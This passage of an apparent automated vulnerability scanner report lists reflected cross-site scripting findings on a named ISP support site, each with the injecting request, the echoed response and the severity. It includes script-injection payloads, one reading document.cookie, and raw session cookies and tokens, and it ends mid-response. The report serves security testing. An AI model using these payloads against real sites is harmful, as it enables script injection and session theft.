Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:04:26 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
input type="hidden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/css4a9bf"><script>alert(1)</script>c5a557bec7a/inputButtons.css" />
...[SNIP]...

2.229. https://service.sympatico.ca/css/inputButtons.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /css/inputButtons.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 47470"><script>alert(1)</script>79681a2b084 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /css/inputButtons.css47470"><script>alert(1)</script>79681a2b084 HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:04:29 GMT
Connection: close
Set-Cookie: SMSESSION=w2ZGgvRp364ToB9tA6qKf54nuWovNfXr1Gxif5AKIEXUv2Sg1uSNPZVxBotOTrLNMaRms8ilYU1LKSxVECGYMfAnmjUy+Du0FEQ/TwO4PxlHZeT0mWktoFbGlCDXmEdfiNsJAsBRK8Y3UfYN+pdwtKYB8o9zZsjQEehGUMknMLZ5Kio6Xdq2GAJvNp9WSnWsj83yU5/BhoLAHApaIyg7Je7S/+QKWVyx2AQliFTBhOSgVNme79OhADKc1uEQfyjDD5QDzBxU/FYLUHnh9jNm+4drAGgR7aa3zjWS3bk/6jH2qCpa9WkAUQ==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:04:29 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:04:29 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:04:29 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:04:29 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:04:29 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:04:29 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:04:29 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:04:29 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:04:29 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:04:29 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
n" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/css/inputButtons.css47470"><script>alert(1)</script>79681a2b084" />
...[SNIP]...

2.230. https://service.sympatico.ca/css/jquery.autocomplete.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /css/jquery.autocomplete.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3d259"><script>alert(1)</script>c308ad87044 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /css3d259"><script>alert(1)</script>c308ad87044/jquery.autocomplete.css HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:04:35 GMT
Connection: close
Set-Cookie: SMSESSION=sCo584k5Vw6GfazXPzodV0R4hGQf5ctQ3QYI1eDW38yQjIcHQjkFeZuWEUjeBoI+Je/EMZyzxgn1aofZebotp/em0q4SRBqzJBvp+KDa8pWqwwDoJdy6HNGSYar3OGBo9erJhJeB3tbUXpJiinTNnCmni2hitHfaMoo5E6MiKlip265v5ECNgYRocP8lD2uucfFkOjw29U9HG9d/TO8hG7rLa1ePXeyrHoMdUg2jD0hR7FNsJ4QDqEbAl2M/9ADRtAg/tl5FRAqKo7BPkRYRDDmcqawf82YKJKnJZbHj1byRaA8+ufTz6g==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:04:35 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:04:35 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:04:35 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:04:35 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:04:35 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:04:35 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:04:35 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:04:35 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:04:35 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:04:35 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
input type="hidden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/css3d259"><script>alert(1)</script>c308ad87044/jquery.autocomplete.css" />
...[SNIP]...

2.231. https://service.sympatico.ca/css/jquery.autocomplete.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /css/jquery.autocomplete.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6fbb6"><script>alert(1)</script>45ba4e4252a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /css/jquery.autocomplete.css6fbb6"><script>alert(1)</script>45ba4e4252a HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:04:39 GMT
Connection: close
Set-Cookie: SMSESSION=6+MfiKdcj/PmW/0X3a9BtiIi+77ZTE+CDtnNvb1ee5vdW/ny3EEk8cXiWXJYn4Za/KvYy3nr7xq1+WeJ5uDy/OzmAi1pJa4tU8MOXs1ZjEcxMveZAtG4hsytQNwm/TMv7zpqCimJ0PvFomXqg0LqX/GLCbdxEbKf2VwwLxKAzN18uOR4l+NXaYKk1hAX8HRRZL/mvf2qS1BN/QxeKm+sWrI6dUB27MJOZkkpONcqhH+NbXyS7ZqZ2fktO+E57EJAjYXbxRlEL8WK3wF9ZG/fBAfG40A31NYMzqEIe2kPotoXFdD9JbwfAA==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:04:39 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:04:39 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:04:39 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:04:39 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:04:39 GMT;path=/
